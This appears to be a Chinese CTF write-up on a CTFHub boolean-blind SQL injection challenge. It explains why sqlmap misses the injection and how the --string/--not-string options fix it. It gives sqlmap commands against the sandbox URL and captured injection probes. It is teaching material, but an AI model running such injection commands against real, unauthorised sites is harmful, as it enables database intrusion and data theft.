ctfhub 布尔盲注|为什么你的sqlmap无法盲注?

经常会遇到这种情况,我们手工测试注入的时候,可以检测存在盲注,丢给sqlmap跑就怎么也出不来。
下面我以ctfhub技能树中的sql注入(布尔盲注)为例,进行讲解。

常用的sqlmap命令:

python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch  --technique=B

在这里插入图片描述

sqlmap提示说提高下等级吧,命令如下

python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch  --technique=B --dbms=mysql --level=3

在这里插入图片描述
依然一样的结果,未发现注入

设置burpsuite的代理(http://127.0.0.1:5080),加个代理看下
在这里插入图片描述

sqlmap命令更新如下:

python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch  --technique=B --dbms=mysql --level=3 --proxy=http://127.0.0.1:5080

在这里插入图片描述
通过burpsuite抓吧,发现其实sqlmap很早就测试了基本的判断语句
?id=1%20AND%205432%3D5432–%20zwTT
?id=1%20AND%207065%3D5966–%20ORCO

但是sqlmap没有检测出来,原因是sqlmap不知道根据什么来判断正确与否,根据上面两条语句,手工测试发现分别返回query_success、query_error,我们手工编写注入代码时就会依据这个返回的关键字(query_success、query_error)的区别进行判断,进而得到正确的数据库数据。

基于此,我查阅sqlmap的使用帮助

Detection:
These options can be used to customize the detection phase
–level=LEVEL Level of tests to perform (1-5, default 1)
–risk=RISK Risk of tests to perform (1-3, default 1)
–string=STRING String to match when query is evaluated to True
–not-string=NOT… String to match when query is evaluated to False
–regexp=REGEXP Regexp to match when query is evaluated to True
–code=CODE HTTP code to match when query is evaluated to True
–smart Perform thorough tests only if positive heuristic(s)
–text-only Compare pages based only on the textual content
–titles Compare pages based only on their titles

在sqlmap的探测模块,可以发现有很多语法来检测查询结果是否匹配。

–string=query_success
–not-string=query_error

修改sqlmap命令如下:

python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch  --technique=B --dbms=mysql --string="query_success"
python sqlmap.py -u "http://challenge-b076bdb9af854164.sandbox.ctfhub.com:10080/?id=1" --batch  --technique=B --dbms=mysql --not-string="query_error"

sqlmap很快就得出结果:boolean-based blind
在这里插入图片描述

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值